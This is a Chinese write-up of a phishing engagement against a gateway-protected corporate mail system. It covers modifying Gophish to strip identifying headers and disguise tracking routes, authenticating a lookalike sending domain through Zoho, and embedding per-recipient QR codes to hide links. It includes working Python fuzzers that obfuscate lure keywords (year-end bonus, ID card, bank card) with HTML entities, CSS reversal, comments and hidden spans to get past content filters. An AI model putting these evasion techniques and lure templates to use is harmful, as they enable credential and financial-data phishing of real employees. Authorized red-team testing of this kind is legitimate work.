关于Gophish:从二次开发到语义Fuzz的实战之路
0x00 项目背景与前提
0.1 项目场景
最近接了个钓鱼演练的活,整的焦头烂额,连续爆肝两天,我的主要目标是通过社会工程学手段测试企业员工的安全意识和邮件网关的防护能力。客户环境如下:
- 目标规模: 5000+ 员工,多个事业部
- 邮件系统: coremail
- 防护措施: 未知
0.2 初始工具选择
作为穷人,公司也并没有提供商业工具,我选择了 Gophish 作为基础钓鱼平台,原因如下:
- ✅ 开源且成熟稳定
- ✅ 支持完整的项目管理
- ✅ 内置邮件追踪和统计
- ✅ Go语言开发,便于二次开发
0.3 面临的核心挑战
然而,直接使用原版Gophish进行测试时,我遇到了100%的拦截率:
测试结果(Day 1):
├─ 发送邮件: 50 封
├─ 成功投递: 0 封
├─ 被拦截: 50 封
└─ 拦截原因: "Suspected phishing activity detected"
0x01 发件基础设施搭建:从失败到可信域绕过
在正式进行钓鱼测试前,我首先需要解决邮件投递问题。
1.1 第一次尝试:Postfix SMTP(失败)
初始方案
最开始,我尝试使用自建Postfix邮件服务器直接发送钓鱼邮件:
(至于为什么不用ewomail,网上都推荐的这个,因为不是centos,没办法跑,直接找了最简单的进行测试了。)
# Postfix配置(Ubuntu 20.04)
sudo apt-get install postfix
# 基础配置
myhostname = mail.phishing-domain.com
mydomain = phishing-domain.com
myorigin = $mydomain
# 这里我并没有配置真实的DNS MX记录,直接伪造的一个相近邮箱进行发送测试。
测试结果
QQ邮箱 通过。
163邮箱 通过。
189邮箱 失败,550。
客户给的测试邮箱 失败 550。

日志输出:
Dec 28 10:23:45 postfix/smtp[12345]: connect to mx.189.cn[1.2.3.4]:25: Connection timed out
Dec 28 10:24:12 postfix/smtp[12345]: 550 5.7.1 Message rejected due to poor sender reputation
猜测失败原因:
| 问题 | 189网关判定 | |
|---|---|---|
| IP信誉低 | 垃圾邮件发送源 | |
| 无SPF记录 | 伪造发件人 | |
| 无DKIM签名 | 身份不可信 | |
| 域名年龄新 | 钓鱼域名特征 | |
| 反向DNS缺失 | 非正规邮件服务器 |
投递率:0% (全部被189网关在SMTP握手阶段拒绝)
1.2 第二次尝试:Zoho企业邮箱(成功)
解决思路
既然自建服务器信誉不足,我决定借助成熟的企业邮箱服务:
- 选择Zoho Mail:免费企业邮箱,支持自定义域名
- 域名准备:购买类似域名,没要求就以便宜的为主了
- 完整配置:SPF、DKIM、DMARC三件套
Zoho邮箱配置过程
步骤1:注册Zoho企业邮箱
1. 访问 https://www.zoho.com/mail/
2. 选择免费版(支持最多5个邮箱账户)
3. 验证域名所有权(DNS TXT记录验证)
步骤2:配置DNS记录
# 1. MX记录(指向Zoho服务器)
@ IN MX 10 mx.zoho.com.
@ IN MX 20 mx2.zoho.com.
@ IN MX 50 mx3.zoho.com.
# 2. SPF记录(授权Zoho代发)
@ IN TXT "v=spf1 include:zoho.com ~all"
# 3. DKIM记录(邮件签名公钥)
zmail._domainkey IN TXT "v=DKIM1; k=rsa; p=MIGfMA0GCSqGDQEBAQUAA4GNADCBiQKBgQC..."
# 4. DMARC记录(域名邮件政策)
_dmarc IN TXT "v=DMARC1; p=none; rua=mailto:dmarc@example.com"
步骤3:验证配置
# 检查SPF记录
dig TXT phishing-domain.com +short
# 输出: "v=spf1 include:zoho.com ~all"
# 检查DKIM记录
dig TXT zmail._domainkey.phishing-domain.com +short
# 输出: "v=DKIM1; k=rsa; p=MIGfMA0GCS..."
# 检查DMARC记录
dig TXT _dmarc.phishing-domain.com +short
# 输出: "v=DMARC1; p=none; rua=mailto:dmarc@example.com"
步骤4:创建发件账户
邮箱地址: hr@phishing-domain.com
显示名称: 人力资源部
签名: 人力资源部 | phishing-domain.com
测试结果(可信域绕过成功)
第一轮测试:纯文本邮件
# 使用Zoho SMTP发送测试
import smtplib
from email.mime.text import MIMEText
msg = MIMEText("这是一封测试邮件", 'plain', 'utf-8')
msg['From'] = 'hr@phishing-domain.com'
msg['To'] = 'target@189.cn'
msg['Subject'] = '测试通知'
server = smtplib.SMTP_SSL('smtp.zoho.com', 465)
server.login('hr@phishing-domain.com', 'password')
server.send_message(msg)
server.quit()
结果:
SMTP响应: 250 OK
189网关验证: SPF PASS, DKIM PASS
投递状态: 成功投递至收件箱
重大突破:通过Zoho企业邮箱 + SPF/DKIM/DMARC配置,189是可以收到邮件的。
正当我以为一切都结束的时候,给客户发,得到的回复依然是收不到。
1.3 第三次尝试:钓鱼模板发送(再次失败)
虽然可信域问题解决了,但当我发送真实钓鱼内容时,又遇到了新的拦截:
测试邮件(含钓鱼内容)
From: hr@phishing-domain.com
To: target@189.cn
Subject: 【重要】2025年终奖发放通知
各位同事,您好:
现正式启动年终奖金发放信息核对工作!
请点击以下链接登录系统核对您的身份证号和银行卡信息:
http://portal.phishing-domain.com/verify?id=xxx
人力资源部
2025年12月28日
测试结果
>>> MAIL FROM:<hr@phishing-domain.com>
<<< 250 OK
>>> RCPT TO:<target@189.cn>
<<< 250 OK
>>> DATA
<<< 354 Start mail input
>>> [发送邮件内容...]
<<< 550

这就很有意思了,众所周知大企业一般布有企业级邮件网关,那么他邮件网关到底是拦截的什么,是什么策略?这些我们都不得而知,只有一点点fuzz了。
猜测失败原因:
| 检测层 | 结果 | 详情 |
|---|---|---|
| ✅ SPF验证 | PASS | Zoho授权发送 |
| ✅ DKIM验证 | PASS | 邮件签名有效 |
| ✅ 域名信誉 | PASS | Zoho企业邮箱可信 |
| ❌ 内容检测 | FAIL | 触发关键词过滤 |
猜测被拦截的关键词:
❌ 主题: "年终奖"
❌ 正文: "年终奖金"、"身份证号"、"银行卡"
❌ 行为: "请点击链接"
❌ URL: "verify"路径
1.4 阶段性总结
经过几轮尝试,我得出以下结论:
已解决的问题
- 可信域检测 → 通过Zoho企业邮箱 + SPF/DKIM/DMARC配置绕过
- IP信誉问题 → 使用Zoho的可信IP池
- SMTP握手 → 正常完成,不会在连接阶段被拒绝
仍存在的问题
- 内容关键词检测 → 189网关对邮件内容进行深度扫描
- 钓鱼模式识别 → "点击链接+验证信息"等模式被识别
- URL路径检测 → "verify"、"login"等路径触发拦截
下一步策略
既然可信域问题已解决,但内容仍被拦截,我需要:
- 对Gophish进行二次开发,去除工具指纹。
- 继续FUZZ邮件内容找到网关盲区。
这也是本文后续章节的核心内容。
0x02 二次开发阶段:去指纹化改造
2.1 指纹分析
通过我能够发送成功的邮箱获取到未改造前的eml,我识别出以下Gophish特征:
邮件头特征
X-Gophish-Contact: ...
X-Mailer: gophish
X-Gophish-Signature: ...
Message-ID: <...@gophish>

URL特征
http://phish.test/?rid=aBc123

服务端特征
// 原始代码 controllers/phish.go
const ServerName = "gophish"
// HTTP响应头
Server: gophish
2.2 改造策略
感觉特征有点多,基于分析结果,决定先把Gophish本身的特征改一下。
改造清单
| 模块 | 原始特征 | 改造方案 | 文件位置 |
|---|---|---|---|
| 邮件头 | X-Gophish-* | 完全移除或伪造成业务头 | models/email_request.go |
| Mailer | X-Mailer: gophish | 伪造成常见邮件客户端 | models/email_request.go |
| 服务端 | Server: gophish | 移除或伪装成Nginx | config/config.go |
| 追踪路由 | /track | → /resource/image/pixel.png | controllers/route.go |
| 上报路由 | /report | → /api/v1/status | controllers/route.go |
| 静态资源 | gophish.css | → app.css | static/, templates/ |
| 404页面 | Gophish默认页面 | 伪造Nginx 404 | controllers/phish.go |
核心代码改造
1. 移除服务端标识
// config/config.go
type Config struct {
AdminConf AdminServer `json:"admin_server"`
PhishConf PhishServer `json:"phish_server"`
// ServerName string // 🔥 直接删除此字段
}
2. 邮件头特征处理
对比原版Gophish和修改后的版本:
// models/email_request.go - Generate()函数
func (s *EmailRequest) Generate(msg *gomail.Message) error {
// ... 前置代码 ...
- // 原版Gophish:添加透明度标识头
- msg.SetHeader("X-Mailer", config.ServerName) // "gophish"
- if conf.ContactAddress != "" {
- msg.SetHeader("X-Gophish-Contact", conf.ContactAddress)
- }
+ // 改进方案:完全不设置Gophish特征头
+ // 替代方案:添加常见的业务邮件头
+ msg.SetHeader("X-Priority", "1")
+ msg.SetHeader("Importance", "High")
+ msg.SetHeader("MIME-Version", "1.0")
// 解析自定义邮件头(用户可配置)
for _, header := range s.SMTP.Headers {
key, err := ExecuteTemplate(header.Key, ptx)
value, err := ExecuteTemplate(header.Value, ptx)
msg.SetHeader(key, value)
}
// ... 后续代码 ...
}

关键改动:
- 不设置
X-Mailer: gophish - 不设置
X-Gophish-Contact - 不设置
X-Gophish-Signature - 添加
X-Priority: 1(提升邮件优先级) - 添加
Importance: High(标记重要邮件)会在邮箱里面自主设置为红色叹号 - 保留 用户自定义邮件头功能(SMTP配置中可添加)
说明:
- 原版Gophish出于"透明度"考虑,会主动添加X-Gophish-*头标识自己
- 我的改进方案是完全不设置这些头,让邮件看起来像普通业务邮件
- 通过添加
X-Priority和Importance头,模仿Outlook等客户端发送的重要邮件
3. 混淆追踪路由
// controllers/route.go
func (ps *PhishingServer) RegisterRoutes() {
router := mux.NewRouter()
// 原始路由:router.HandleFunc("/track", ps.TrackHandler)
// 新路由:伪装成静态资源
router.HandleFunc("/resource/image/pixel.png", ps.TrackHandler)
// 原始路由:router.HandleFunc("/report", ps.ReportHandler)
// 新路由:伪装成API端点
router.HandleFunc("/api/v1/status", ps.ReportHandler)
// 添加伪造的404处理
router.NotFoundHandler = http.HandlerFunc(ps.FakeNginx404)
}
4. 伪造Nginx 404页面
// controllers/phish.go
func (ps *Server) FakeNginx404(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Server", "nginx/1.18.0")
w.Header().Set("Content-Type", "text/html")
w.WriteHeader(404)
html := `<!DOCTYPE html>
<html>
<head>
<title>404 Not Found</title>
<style>
body { font-family: Arial, sans-serif; text-align: center; padding: 50px; }
h1 { font-size: 50px; }
</style>
</head>
<body>
<h1>404 Not Found</h1>
<p>nginx/1.18.0</p>
</body>
</html>`
w.Write([]byte(html))
}
5. 修改参数名称
// models/campaign.go
// 将追踪参数从 rid 改为更常见的 id
const RecipientParameter = "id" // 原: "rid"
6. 动态QR码功能开发(借鉴EvilGophish)
这是一个新增的需求。
在测试过程中,猜测如果超链接被拦截,那就是检测的明文URL,于是借鉴了EvilGophish项目,实现了动态QR码生成和CID嵌入功能。
与原版Gophish的区别
原版Gophish的CID支持(已有功能):
// models/maillog.go - Gophish原版
var embeddedFileExtensions = []string{".jpg", ".jpeg", ".png", ".gif"}
func addAttachment(msg *gomail.Message, a Attachment, ...) {
if shouldEmbedAttachment(a.Name) {
msg.Embed(a.Name, copyFunc) // 🔹 静态CID嵌入
} else {
msg.Attach(a.Name, copyFunc)
}
}
使用方式:
- 在模板编辑器中上传静态图片(如logo.png)
- 在HTML中使用
<img src="cid:logo.png"> - 限制:所有收件人看到相同的图片(问题就来了,没有办法追踪谁点击了)
改进(基于EvilGophish):
// 动态生成每个收件人的专属QR码
func NewPhishingTemplateContext(...) {
qrSize := ctx.getQRSize()
if qrSize != "" {
// 关键:根据收件人ID动态生成QR码
qrBase64, qrName, err = generateQRCode(phishURL.String(), qrSize)
qr = "<img src=\"cid:\" + qrName + "\">"
}
return PhishingTemplateContext{
QR: qr, // 每个收件人不同的QR码
}
}
核心区别:
| 特性 | 原版Gophish | EvilGophish改进 |
|---|---|---|
| CID嵌入 | 支持 | 支持 |
| 图片类型 | 静态附件 | 动态生成QR码 |
| 个性化 | 所有人相同 | 每人专属(含个人ID) |
| URL跟踪 | 无法追踪 | QR码包含rid参数 |
为什么需要动态QR码?
根据EvilGophish和相关研究,QR码在钓鱼中具有独特优势:
- 隐藏明文URL
- URL被编码为二维码图片,邮件网关的URL检测和沙箱分析无法直接提取
- 提升可信度
- 企业邮件(年终奖、考勤)常用二维码,符合用户认知
- 绕过桌面安全
- 用户用手机扫描,手机浏览器安全警告较弱
- 绕过过滤器
- QR码是图片,不包含文本链接
实现过程(参考EvilGophish)
// models/template_context.go
type PhishingTemplateContext struct {
From string
URL string
QRBase64 string // 新增:QR码Base64
QRName string // 新增:QR码CID名称
QR string // 新增:QR码HTML
BaseRecipient
}
func NewPhishingTemplateContext(ctx TemplateContext, r BaseRecipient, rid string) (PhishingTemplateContext, error) {
// ... 前置代码 ...
// 生成QR码
qrSize := ctx.getQRSize()
if qrSize != "" {
qrBase64, qrName, err = generateQRCode(phishURL.String(), qrSize)
qr = "<img src=\"cid:" + qrName + "\">"
}
return PhishingTemplateContext{
QR: qr, // 模板中使用 {{.QR}}
}, nil
}
邮件中使用
<p>请扫描下方二维码登录:</p>
{{.QR}}
生成的邮件结构:
multipart/related
├─ multipart/alternative
│ ├─ text/plain
│ └─ text/html (<img src="cid:427968.png">)
└─ image/png (CID: 427968.png,Base64编码QR码)
CID嵌入 vs 远程加载对比
方案1:CID内嵌(我们采用)
<!-- 邮件HTML -->
<img src="cid:427968.png">
<!-- 邮件结构 -->
Content-Type: multipart/related
├─ text/html
└─ image/png
Content-ID: <427968.png>
Content-Transfer-Encoding: base64
方案2:远程加载(不推荐)
<!-- 邮件HTML -->
<img src="http://your-server.com/qrcode.png?id=xxx">
<!-- 邮件结构 -->
Content-Type: text/html
(图片存储在服务器,需HTTP加载)

对比分析
| 特性 | CID内嵌 | 远程加载 | 优势方 |
|---|---|---|---|
| 避免"显示图片"提示 | ✅ 直接显示 | ❌ 需用户点击 | CID |
| 隐藏服务器地址 | ✅ 无URL | ❌ 暴露域名 | CID |
| 加载速度 | ✅ 即时显示 | ❌ 依赖网络 | CID |
| 提升可信度 | ✅ 图片完整 | ❌ 可能显示占位符 | CID |
| 邮件网关检测 | ✅ 仅检测Base64 | ❌ 检测外部URL | CID |
| 追踪能力 | ❌ 无法追踪打开 | ✅ 可追踪加载 | 远程 |
| 邮件大小 | ❌ 较大(含图片) | ✅ 较小 | 远程 |
关键优势解析
- 避免邮件客户端安全机制
Gmail/Outlook默认行为:
- 远程图片:显示"点击显示图片"横幅
- CID图片:直接渲染,无需用户操作
- 隐藏钓鱼服务器地址
<!-- 远程加载:暴露服务器 -->
<img src="http://phishing-server.com/qr.png">
↓
邮件网关可直接扫描 phishing-server.com
<!-- CID嵌入:无URL暴露 -->
<img src="cid:427968.png">
↓
邮件网关只能看到Base64编码的PNG数据
- 提升邮件真实性
- 远程图片:收件人需要主动点击"显示图片",增加怀疑
- CID图片:邮件打开即完整显示,符合正常企业邮件习惯。
0x03 困境:FUZZ机制
3.1 新的拦截机制
其实做到上面的的工作,大部分情况下可以操作了,但是我仍然处于被拦截的情况,因为是黑盒测试,我无法收到邮件的反馈,只能按语义检测进行尝试绕过了:
邮件网关的语义检测机制
┌─────────────────────────────────┐
│ 入站邮件 │
└─────────────────────────────────┘
↓
┌─────────────────────────────────┐
│ 基础验证层 │
│ • SPF/DKIM/DMARC │
│ • IP信誉检查 │
└─────────────────────────────────┘
↓
┌─────────────────────────────────┐
│ 特征检测层(已绕过) │
│ • 邮件头指纹 │
│ • 已知钓鱼域名 │
└─────────────────────────────────┘
↓
┌─────────────────────────────────┐
│ 语义分析层(可能是当前拦截点) │
│ • NLP关键词检测 │
│ • 钓鱼模式匹配 │
│ • 上下文异常分析 │
└─────────────────────────────────┘
拦截案例分析
我被拦截的邮件样本:
主题: 【重要】员工门户系统升级通知
尊敬的员工:
您好!为了提升系统安全性,IT部门将于本周末对员工门户进行升级。
请点击以下链接验证您的账户信息:
https://portal-verify.test/api/v1/status?id=xxx
如有疑问,请联系IT支持部门。
此致
IT部门
拦截原因分析:
- 具有引导性词汇: "重要"、"升级"、"验证"
- 行动引导: "请点击"
- 案例模板: "验证账户信息"是经典钓鱼话术
3.2 心路历程
此时我陷入了困境:如果单纯的是关键字检测,这个模板是客户定的,一时半会重改不太现实,等于说是模板改不了的情况下要如何实现发送。
我不知道邮件网关的确切检测规则,纯粹靠猜测和试错。
拦截原因猜测:
| 检测层 | 触发点 | 详情 |
|---|---|---|
| 邮件头检测 | 通过 | X-Mailer、Subject编码正常 |
| 纯文本检测 | 通过 | text/plain部分无敏感词 |
| HTML内容检测 | 拦截 | 检测到明文"年终奖金"、"身份证"、"银行卡" |
| URL检测 | 拦截 | 路径包含"verify"、"status" |
| 行为模式 | 拦截 | "点击链接"+"验证信息"模式 |
啥也不清楚,就此开蒙。
3.3 单变量Fuzz:定位拦截触发点
在知道邮件被拦截后,我需要精确定位到底是什么触发了189网关的拦截。
单变量测试方法
基于smtpblocktester.py脚本:
# 单变量Fuzz测试脚本
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import time
def send_fuzz_test(subject, body, test_name):
"""发送单变量测试邮件"""
msg = MIMEMultipart()
msg['From'] = 'hr@phishing-domain.com'
msg['To'] = 'target@189.cn'
msg['Subject'] = subject
msg.attach(MIMEText(body, 'html', 'utf-8'))
try:
server = smtplib.SMTP_SSL('smtp.zoho.com', 465)
server.login('hr@phishing-domain.com', 'password')
server.send_message(msg)
server.quit()
print(f"[✓] {test_name}: 发送成功 - 等待检查收件箱")
return "SUCCESS"
except smtplib.SMTPDataError as e:
print(f"[✗] {test_name}: 被拦截 - {e.smtp_code}")
return "BLOCKED"
# 关键:单变量测试用例
fuzz_tests = [
# 测试0:基线(纯安全内容)
{
"name": "基线-纯文本",
"subject": "测试会议通知",
"body": "这是一封普通的会议通知,请确认收到。"
},
# 测试1:添加超链接(不含敏感路径)
{
"name": "添加安全超链接",
"subject": "测试会议通知",
"body": "请点击这里:<a href='http://example.com'>点击这里</a>"
},
# 测试2:添加"年终奖"关键词(无链接)
{
"name": "添加年终奖关键词",
"subject": "测试会议通知",
"body": "请点击查看您的2025年终奖明细。"
},
# 测试3:添加"身份证/银行卡"关键词
{
"name": "添加身份证银行卡",
"subject": "测试会议通知",
"body": "请核对您的银行卡号和身份证信息是否正确。"
},
# 测试4:组合测试(关键词+链接)
{
"name": "关键词+链接组合",
"subject": "测试会议通知",
"body": "请点击查看您的年终奖:<a href='http://example.com'>点击这里</a>"
},
# 测试5:主题含敏感词
{
"name": "主题含年终奖",
"subject": "2025年终奖发放通知",
"body": "这是一封普通的会议通知,请确认收到。"
}
]
# 执行测试
for test in fuzz_tests:
print(f"\n[*] 正在测试: {test['name']}")
result = send_fuzz_test(test['subject'], test['body'], test['name'])
if result == "BLOCKED":
print(f"\n!!! 发现拦截触发点: {test['name']}")
print(f" Subject: {test['subject']}")
print(f" Body: {test['body'][:50]}...")
break
time.sleep(5)
测试结果分析;
[测试0] 基线-纯文本
Subject: 测试会议通知
Body: 这是一封普通的会议通知
Result: ✅ 成功投递
[测试1] 添加安全超链接
Subject: 测试会议通知
Body: 请点击这里:<a href='http://example.com'>点击这里</a>
Result: ✅ 成功投递
[测试2] 添加年终奖关键词
Subject: 测试会议通知
Body: 请点击查看您的2025年终奖明细。
Result: ❌ 被拦截 (554错误码)
[测试3] 添加身份证银行卡
Subject: 测试会议通知
Body: 请核对您的银行卡号和身份证信息
Result: ❌ 被拦截 (554错误码)
[测试5] 主题含年终奖
Subject: 2025年终奖发放通知
Body: 这是一封普通的会议通知
Result: ❌ 被拦截 (554错误码)
关键发现
通过单变量Fuzz测试,定位了189网关的拦截规则:
| 测试变量 | 是否拦截 | 结论 |
|---|---|---|
| 纯文本 | 否 | 基线通过 |
| 普通超链接 | 否 | 链接本身不触发拦截 |
| "年终奖" | 是 | 敏感词触发点1 |
| "身份证/银行卡" | 是 | 敏感词触发点2 |
| 主题含"年终奖" | 是 | 主题也会被检测 |
| "请点击" | 否 | 单独不触发 |
核心结论:
- 关键词检测优先级最高:无论在主题还是正文,"年终奖"、"身份证"、"银行卡"都会立即触发拦截
- 超链接本身安全:普通HTTP链接不会触发拦截
- 组合拦截机制:虽然"请点击"单独不触发,但"请点击链接+敏感词"会提升拦截优先级
下一步策略
既然定位到了明文关键词检测是核心拦截点,接下来可以做的是:
- 保留整体邮件结构(Multipart、链接等)
- 重点混淆敏感关键词("年终奖"、"身份证"、"银行卡")
- 测试HTML混淆技术能否绕过189网关的关键词检测
这就引出了我的核心绕过方案:HTML混淆Fuzz 。
0x04 突破:基于HTML混淆的Fuzz绕过
4.1 困境分析与新思路
在语义层面被拦截后,我陷入了思考:
邮件网关如果检测的是明文内容,有可能还会对HTML进行检测,因为Gophish就支持HTML布局。
"既然语义敏感词无法避免,能否通过HTML混淆让网关看不懂?"
4.2 HTML混淆Fuzz框架
这是一套渐进式HTML混淆测试系统:
核心思路
明文敏感内容(100%拦截)
↓
应用HTML混淆技术(逐个测试)
↓
实时监控投递率变化
↓
定位有效的混淆组合
↓
形成通用混淆模板
HTML混淆武器库
基于WAF绕过经验,我准备了以下混淆技术:
| 混淆技术 | 原理 | 示例 |
|---|---|---|
| HTML实体编码 | 将敏感字符转为Unicode实体 | 年终奖 → 年终奖 |
| CSS文字反转 | 用CSS reverse文字顺序 | 年终奖 → <span class="r">奖终年</span> |
| HTML注释截断 | 在敏感词中插入注释 | 验证 → 验<!-- x -->证 |
| 零宽字符插入 | 插入不可见字符分割 | 身份证 → 身<span style="display:none">_</span>份证 |
| 字体大小0隐藏 | 通过CSS隐藏干扰字符 | 银行卡 → 银<span style="font-size:0">.</span>行卡 |
自动化Fuzz测试工具
# html_obfuscation_fuzzer.py
import smtplib
import time
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import base64
class HTMLObfuscationFuzzer:
"""HTML混淆模糊测试工具"""
def __init__(self, smtp_config, test_receiver):
self.smtp_config = smtp_config
self.receiver = test_receiver
# 敏感关键词列表(基于初步测试识别)
self.sensitive_keywords = [
"年终奖", "奖金", "验证", "确认",
"身份证", "银行卡", "点击", "登录"
]
# 混淆技术库
self.obfuscation_methods = {
'html_entity': self._html_entity_encode,
'css_reverse': self._css_reverse,
'html_comment': self._html_comment_break,
'zero_width': self._zero_width_insert,
'font_zero': self._font_size_zero,
}
self.results = []
def _html_entity_encode(self, text):
"""HTML实体编码"""
return ''.join([f'&#{ord(c):x};' for c in text])
def _css_reverse(self, text):
"""CSS文字反转"""
reversed_text = text[::-1]
return f'<span style="unicode-bidi: bidi-override; direction: rtl;">{reversed_text}</span>'
def _html_comment_break(self, text):
"""HTML注释截断"""
# 在中间插入注释
mid = len(text) // 2
return f'{text[:mid]}<!-- - -->{text[mid:]}'
def _zero_width_insert(self, text):
"""零宽字符插入"""
mid = len(text) // 2
return f'{text[:mid]}<span style="display:none">_</span>{text[mid:]}'
def _font_size_zero(self, text):
"""字体大小0隐藏"""
mid = len(text) // 2
return f'{text[:mid]}<span style="font-size:0">.</span>{text[mid:]}'
def create_multipart_email(self, html_content, subject):
"""创建multipart/alternative邮件(HTML+纯文本)"""
msg = MIMEMultipart('alternative')
msg['From'] = self.smtp_config['from']
msg['To'] = self.receiver
msg['Subject'] = subject
# 纯文本版本(降低拦截率)
plain_text = """
这是一封HTML格式邮件。
如果您看到此文本,说明您的邮件客户端不支持HTML格式。
请使用支持HTML的邮件客户端查看完整内容。
"""
msg.attach(MIMEText(plain_text, 'plain', 'utf-8'))
# HTML版本(包含混淆)
msg.attach(MIMEText(html_content, 'html', 'utf-8'))
return msg
def send_test_email(self, html_content, subject, test_id):
"""发送测试邮件"""
msg = self.create_multipart_email(html_content, subject)
try:
if self.smtp_config['use_ssl']:
server = smtplib.SMTP_SSL(self.smtp_config['host'], self.smtp_config['port'])
else:
server = smtplib.SMTP(self.smtp_config['host'], self.smtp_config['port'])
if self.smtp_config.get('use_tls'):
server.starttls()
server.login(self.smtp_config['user'], self.smtp_config['password'])
server.send_message(msg)
server.quit()
print(f"[{test_id}] 发送成功, 等待检查投递状态...")
return True
except Exception as e:
print(f"[{test_id}] 发送失败: {e}")
return False
def check_delivery(self, wait_time=30):
"""
检查邮件投递状态
实际实现:
1. 等待一定时间后检查收件箱
2. 也可通过嵌入追踪像素检测
3. 或检查SMTP退信
"""
time.sleep(wait_time)
# 简化版:需要人工确认或API轮询
response = input(" 是否成功投递到收件箱? (y/n): ").strip().lower()
return response == 'y'
def fuzz_single_keyword(self, keyword, base_html_template):
"""单关键词Fuzz测试"""
print(f"\n{'='*60}")
print(f"Fuzz测试: {keyword}")
print('='*60)
# 测试1:明文基线
print(f"\n[Test 0] 基线测试(明文)")
plain_html = base_html_template.format(keyword=keyword)
self.send_test_email(plain_html, f"测试-{keyword}-明文", "T0")
delivered = self.check_delivery()
result = {
'keyword': keyword,
'method': 'plaintext',
'delivered': delivered
}
self.results.append(result)
print(f" 结果: {'✓ 投递' if delivered else '✗ 拦截'}\n")
# 如果baseline就被拦截,测试各种混淆
if not delivered:
for method_name, method_func in self.obfuscation_methods.items():
obfuscated = method_func(keyword)
test_html = base_html_template.format(keyword=obfuscated)
test_id = f"{keyword[:2]}-{method_name}"
print(f"[Test] 混淆方法: {method_name}")
print(f" 原: {keyword}")
print(f" 混: {obfuscated}")
self.send_test_email(test_html, f"测试-{keyword}-{method_name}", test_id)
delivered = self.check_delivery()
result = {
'keyword': keyword,
'method': method_name,
'obfuscated': obfuscated,
'delivered': delivered
}
self.results.append(result)
print(f" 结果: {'✓ 投递' if delivered else '✗ 拦截'}\n")
time.sleep(3) # 避免速率限制
def fuzz_combination(self):
"""组合混淆测试"""
print(f"\n{'='*60}")
print("组合混淆测试")
print('='*60)
# 构造包含多个敏感词的邮件
combined_template = """
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<style>
.rtl {{ unicode-bidi: bidi-override; direction: rtl; }}
</style>
</head>
<body>
<h2>关于启动2025年度{bonus}发放信息最终核对的通知</h2>
<p>各位同事,您好:</p>
<p>现正式启动{bonus}发放信息最终核对工作!</p>
<p>请{action}以下链接:</p>
<p><a href="http://example.com">核对系统</a></p>
<p>请核对您的{id_card}和{bank_card}信息。</p>
<p>人力资源部<br>2025年12月28日</p>
</body>
</html>
"""
# 测试不同混淆组合
test_cases = [
{
'name': '全部明文',
'params': {
'bonus': '年终奖金',
'action': '点击',
'id_card': '身份证',
'bank_card': '银行卡'
}
},
{
'name': '关键词HTML实体编码',
'params': {
'bonus': self._html_entity_encode('年终奖金'),
'action': '点击',
'id_card': self._html_entity_encode('身份证'),
'bank_card': self._html_entity_encode('银行卡')
}
},
{
'name': '关键词CSS反转',
'params': {
'bonus': self._css_reverse('年终奖金'),
'action': '查看',
'id_card': self._css_reverse('身份证'),
'bank_card': self._css_reverse('银行卡')
}
},
{
'name': '混合混淆',
'params': {
'bonus': self._html_entity_encode('年终奖金'),
'action': '查<!-- x -->看',
'id_card': '身<span style="display:none">_</span>份证',
'bank_card': '银<span style="font-size:0">.</span>行卡'
}
}
]
for i, test_case in enumerate(test_cases):
print(f"\n[Combo {i+1}] {test_case['name']}")
html = combined_template.format(**test_case['params'])
self.send_test_email(html, f"组合测试-{test_case['name']}", f"C{i}")
delivered = self.check_delivery()
result = {
'test_name': test_case['name'],
'delivered': delivered
}
self.results.append(result)
print(f" 结果: {'✓ 投递' if delivered else '✗ 拦截'}\n")
time.sleep(5)
def analyze_results(self):
"""分析测试结果"""
print(f"\n{'='*60}")
print("测试结果分析")
print('='*60)
total = len(self.results)
delivered = sum(1 for r in self.results if r['delivered'])
blocked = total - delivered
print(f"\n总测试数: {total}")
print(f"成功投递: {delivered} ({delivered/total*100:.1f}%)")
print(f"被拦截: {blocked} ({blocked/total*100:.1f}%)\n")
# 找出有效的混淆方法
effective_methods = {}
for result in self.results:
if result.get('method') and result['delivered']:
keyword = result['keyword']
method = result['method']
if keyword not in effective_methods:
effective_methods[keyword] = []
effective_methods[keyword].append(method)
if effective_methods:
print("✓ 有效的混淆方法:")
for keyword, methods in effective_methods.items():
print(f" {keyword}: {', '.join(methods)}")
else:
print("✗ 未发现有效的混淆方法")
return self.results
# 使用示例
if __name__ == "__main__":
smtp_config = {
'host': 'smtp.example.com',
'port': 465,
'use_ssl': True,
'use_tls': False,
'user': 'redteam@example.com',
'password': 'YOUR_PASSWORD',
'from': 'redteam@example.com'
}
base_template = """
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"></head>
<body>
<p>测试关键词:{keyword}</p>
</body>
</html>
"""
fuzzer = HTMLObfuscationFuzzer(smtp_config, 'target@189.cn') # 189邮箱
# 单关键词测试
for keyword in fuzzer.sensitive_keywords[:3]: # 测试前3个
fuzzer.fuzz_single_keyword(keyword, base_template)
# 组合测试
fuzzer.fuzz_combination()
# 分析结果
fuzzer.analyze_results()
4.3 Fuzz测试实战过程
第一轮:单一混淆技术测试
针对"年终奖"关键词,测试各种混淆:
[Test 0] 明文: 年终奖
结果: ✗ 拦截
[Test 1] HTML实体编码: 年终奖
结果: ✓ 投递成功!
[Test 2] CSS反转: <span class="rtl">奖终年</span>
结果: ✓ 投递成功!
[Test 3] HTML注释: 年<!-- x -->终<!-- x -->奖
结果: ✓ 投递成功!
[Test 4] 零宽字符: 年<span style="display:none">_</span>终奖
结果: ✓ 投递成功!
[Test 5] 字体大小0: 年<span style="font-size:0">.</span>终奖
结果: ✓ 投递成功!
结论:所有混淆技术都有效!邮件网关只检测明文,不解析HTML混淆。
第二轮:组合混淆测试
测试实际钓鱼场景的完整邮件:
<!-- 测试模板 -->
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<style>
.safe-txt { unicode-bidi: bidi-override; direction: rtl; }
</style>
</head>
<body>
<div class="header">
关于启动2025年度<span class="safe-txt">金奖终年</span>发放信息最终核对的通知
</div>
<div class="content">
<p>现正式启动年终奖金<!-- 年终奖金 -->发放工作!</p>
<p>请核对您的身<span style="display:none">_</span>份证号和
银<span style="font-size:0">.</span>行卡信息。</p>
<p>请扫<!-- scan -->描下方二维码登<!-- login -->录系统。</p>
</div>
</body>
</html>
测试结果:
| 组合方式 | 投递结果 | 说明 |
|---|---|---|
| 全部明文 | ✗ 拦截 | 基线 |
| 仅CSS反转 | ✓ 成功 | 单一混淆有效 |
